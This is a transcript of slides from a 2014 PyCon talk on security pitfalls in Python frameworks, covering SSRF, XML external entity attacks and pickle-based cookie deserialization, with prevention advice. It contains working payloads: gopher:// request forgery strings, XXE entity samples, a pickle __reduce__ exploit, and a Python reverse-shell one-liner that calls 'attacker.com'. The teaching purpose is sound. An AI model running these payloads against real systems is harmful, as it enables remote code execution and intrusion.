Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Mike Haworth: Surprise features you didn't ask for

Mike Haworth: Surprise features you didn't ask for

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Mike Haworth:
Surprise features you didn't ask for
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
@ Kiwi PyCon 2014 - Sunday, 14 Sep 2014 - Track 1
http://kiwi.pycon.org/

**Audience level**

Intermediate

**Description**

Some pitfalls of popular frameworks

**Abstract**

Frameworks enable developers to be enormously productive, but occasionally they include surprisingly unhelpful features. This talk will examine some recent bugs affecting Django as well as other popular frameworks and libraries. We will look at functionality, such as parsing of XML, that just doesn't behave as any reasonable person might expect, how this can be misused and what can be done to avoid the pitfalls.

**YouTube**

https://www.youtube.com/watch?v=1x0XS7jkwzs

New Zealand Python User Group

September 14, 2014
Tweet

More Decks by New Zealand Python User Group

Other Decks in Programming

Transcript

  1. Surprise Features
    That you didn’t ask for

    View Slide

  2. Outline
    Server Side Request Forgery (SSRF)
    Serialization mischief
    Signed cookies

    View Slide

  3. Server Side Request Forgery

    View Slide

  4. SSRF
    Example: API test page
    - User provides URL for remote API
    - Server makes request to API
    - Displays response to user

    View Slide

  5. SSRF

    View Slide

  6. SSRF: Bottle app
    @post('/fetch')
    def fetch():
    url = request.forms.get('url')
    req = urllib2.Request(url)
    response = urllib2.urlopen(req)
    return response.read()

    View Slide

  7. SSRF: Bottle app

    View Slide

  8. SSRF
    Attacker with SSRF could:
    - access services on localhost
    - access other hosts in DMZ
    - bypass host based security restrictions

    View Slide

  9. SSRF
    Services that rely on host based auth:
    - memcached
    - Docker’s REST API (not enabled by default)
    - mongod REST API (read only)
    - CouchDB
    - lots more...

    View Slide

  10. SSRF and Python Libs
    urllib3 and requests libs only accept http(s)://
    - Only likely to be able forge GET
    urllib, urllib2 and pycurl support file://
    - Can read a local file!

    View Slide

  11. Local file read from urllib2
    @post('/fetch')
    def fetch():
    url = request.forms.get('url')
    req = urllib2.Request(url)
    response = urllib2.urlopen(req)
    return response.read()

    View Slide

  12. SSRF and Python Libs
    pycurl accepts gopher://
    THATS RIGHT, GOPHER!
    Can send any data (except 0x00) just URL
    encode it

    View Slide

  13. Forging a POST to internal host
    Forging a request to an internal host with gopher:
    gopher://192.168.43.235:8888/2%50%4f%53%54%20%2f%61%64%64%75%75%73%65%72%20%
    48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%69%6e%74%65%72%6e%61

    The receiver sees POST to API from allowed host:
    POST /internal-api/adduser HTTP/1.1
    Host: internal-api.server.local
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 49
    username=hax0r&password=hax0r

    View Slide

  14. SSRF memcached
    memcached speaks a plaintext protocol
    accessible without auth on port 11211
    http://www.slideshare.net/d0znpp/ssrf-workshop

    View Slide

  15. SSRF memcached
    Example telnet session with memcache
    $ telnet localhost 11211
    set mykey 0 0 6
    mydata
    STORED
    get mykey
    VALUE mykey 0 6
    mydata
    END

    View Slide

  16. SSRF and memcache
    gopher://127.0.0.1:11211/2get%20mykey%0Aquit

    View Slide

  17. SSRF Bug Bounty
    There’s a file in the web root that can only be
    accessed from localhost. The file contains a
    bitcoin private key
    http://blog.fin1te.net/

    View Slide

  18. SSRF Bug Bounty
    http://blog.fin1te.net/

    View Slide

  19. SSRF Bug Bounty
    curl PHP’s parse_url

    View Slide

  20. Preventing SSRF
    Blacklist is error prone.
    Block requests to private ranges
    eg. 0.0.0.0 /8 127.0.0.1 /8

    View Slide

  21. Preventing SSRF
    Whitelisting can fail if site has redirect
    functionality

    View Slide

  22. Preventing SSRF
    Whitelisting can fail if site has redirect
    functionality

    View Slide

  23. Serialization Mischief

    View Slide

  24. XML
    XML is everywhere
    RSS, SVG, docx, odf, saml, SOAP, XMPP,
    EXIF...
    Just to name a few

    View Slide

  25. XML
    Parsing XML from Bottle
    @post('/lxml')
    def lxml():
    from lxml import etree
    tree = etree.parse(request.body)
    return tree.getroot().text

    View Slide

  26. XML Entities
    Submit this:


    ]>
    &author;
    Parsed Result:
    John Doe

    View Slide

  27. XML Billion laughs





    ...
    ]>
    &lol9;

    View Slide

  28. XML External Entity (XXE)
    Submit this:


    ]>
    &external;
    Parsed Result:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

    View Slide

  29. XML and SSRF
    Submit this:


    ]>
    &external;
    Parsed Result:
    Owned by SMBrelay

    View Slide

  30. XML and SSRF
    SMB Relay
    Get Victim to connect to us,
    relay their credentials to target

    View Slide

  31. SAX: Remote DTD retrieval
    @post('/sax')
    def sax():
    from xml.sax import make_parser
    from xml.sax.handler import ContentHandler
    parser = make_parser()
    parser.setContentHandler(myHandler())
    parser.parse(request.body)

    View Slide

  32. SAX: Remote DTD retrieval
    POST /sax HTTP/1.1
    Host: localhost:8082
    Content-Length: 105


    SSRF in SAX via DTD retrieval

    View Slide

  33. SAX: Remote DTD retrieval
    Netcat listening on the attackers host
    $ nc -l 8888
    GET / HTTP/1.0
    Host: 172.16.1.44:8888
    User-Agent: Python-urllib/1.17

    View Slide

  34. Status of XML parsing in Python libs
    Source: https://pypi.python.org/pypi/defusedxml

    View Slide

  35. Tastypie XXE

    View Slide

  36. Preventing XML parsing issues
    Can users control XML content that the app
    parses?
    Use diffusedxml
    Review 3rd party code for XML parsing

    View Slide

  37. Signed Cookies

    View Slide

  38. Session management
    1. Opaque token
    id=
    OR
    2. Serialized data
    id=.

    View Slide

  39. Signed cookies
    Session data is visible to user...
    which is fine
    unless you store a 2FA challenge in it

    View Slide

  40. Signed Cookies
    Session data is trusted so its fine to perform
    actions based on its data…
    unless the session data contains a discount
    thats already been applied

    View Slide

  41. Signed Cookies
    Its signed so its totally ok to just deserialize
    data from user…
    ..unless they can somehow read the secret key
    ..maybe the app’s vulnerable to XXE?

    View Slide

  42. Serializers: JSON v. Pickle
    Serializing with JSON risks:
    - Content visible to user
    - Replay attacks, if nonce not used
    - Content could be altered if secret exposed

    View Slide

  43. Serializers: JSON v. Pickle
    Serialize with Pickle, all of the risks for JSON
    plus:
    Unpickling user data introduces risk of remote
    code execution
    How?

    View Slide

  44. Unpickling user data
    class Exploit(object):
    def __reduce__(self):
    return (os.system, ('touch /tmp/pwnd',)) # this is run when obj is created
    pickled = pickle.dumps(Exploit()) # serialize Exploit object to text
    print pickled
    pickle.loads(pickled) # create Exploit object from text
    https://blog.nelhage.com/2011/03/exploiting-pickle/

    View Slide

  45. Unpickling user data
    class Exploit(object):
    def __reduce__(self):
    return (os.system, ('touch /tmp/pwnd',)) # this is run when obj is created
    pickled = pickle.dumps(Exploit())
    print pickled
    pickle.loads(pickled)
    https://blog.nelhage.com/2011/03/exploiting-pickle/

    View Slide

  46. Unpickling user data
    class Exploit(object):
    def __reduce__(self):
    return (os.system, ('touch /tmp/pwnd',))
    pickled = pickle.dumps(Exploit()) # serialize Exploit object to text
    print pickled
    pickle.loads(pickled)
    https://blog.nelhage.com/2011/03/exploiting-pickle/

    View Slide

  47. Unpickling user data
    pickled = pickle.dumps(Exploit())
    print pickled # print out serialized object
    pickle.loads(pickled)
    $ python pickleme.py
    cposix # this is what pickle “stack language”
    system # looks like
    p0
    (S'touch /tmp/pwnd'
    p1

    View Slide

  48. Unpickling user data
    class Exploit(object):
    def __reduce__(self):
    return (os.system, ('touch /tmp/pwnd',))
    pickled = pickle.dumps(Exploit())
    print pickled
    pickle.loads(pickled) # create Exploit object from text
    # (this is going to run)
    https://blog.nelhage.com/2011/03/exploiting-pickle/

    View Slide

  49. Unpickling user data
    $ python pickleme.py

    $ ls -l /tmp/pwnd
    -rw-rw-r-- 1 mike mike 0 Sep 13 11:46 /tmp/pwnd

    View Slide

  50. Signed cookies
    Since 1.6 Django started using JSON over
    pickle
    Flask switched to JSON in mid 2013
    itsdangerous (good name) defaults to JSON
    (pickle optional)

    View Slide

  51. Signed Cookies
    Frameworks still using pickle:
    - Bottle
    - Pylons/Pyramid
    - Werkzeug
    - Beaker

    View Slide

  52. Signed Cookies: Bottle

    View Slide

  53. Remote Code Execution
    1. Read the secret used to sign the cookie
    2. Write code to give ourselves a shell
    3. Use pickle to serialise the code
    4. Base64 encode and sign
    5. Send cookie to application

    View Slide

  54. View Slide

  55. Reading the secret, used to sign

    View Slide

  56. Code for remote shell
    revshell =
    import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.
    SOCK_STREAM);
    s.connect(("attacker.com",1234));os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/sh","-i"]);'
    http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

    View Slide

  57. Use Pickle to Serialise revshell
    1. Read the secret used to sign the cookie
    2. Write code to give ourselves a shell
    3. Use pickle to serialise the code
    Create object with reduce method that’ll run
    shellcode http://vudang.com/2013/01/python-web-framework-from-lfr

    View Slide

  58. Create signed cookie, send to app

    View Slide

  59. Attacker’s host gets remote shell

    View Slide

  60. We’re Hiring
    Pentesting Challenges
    http://tinyurl.com/h4ckit

    View Slide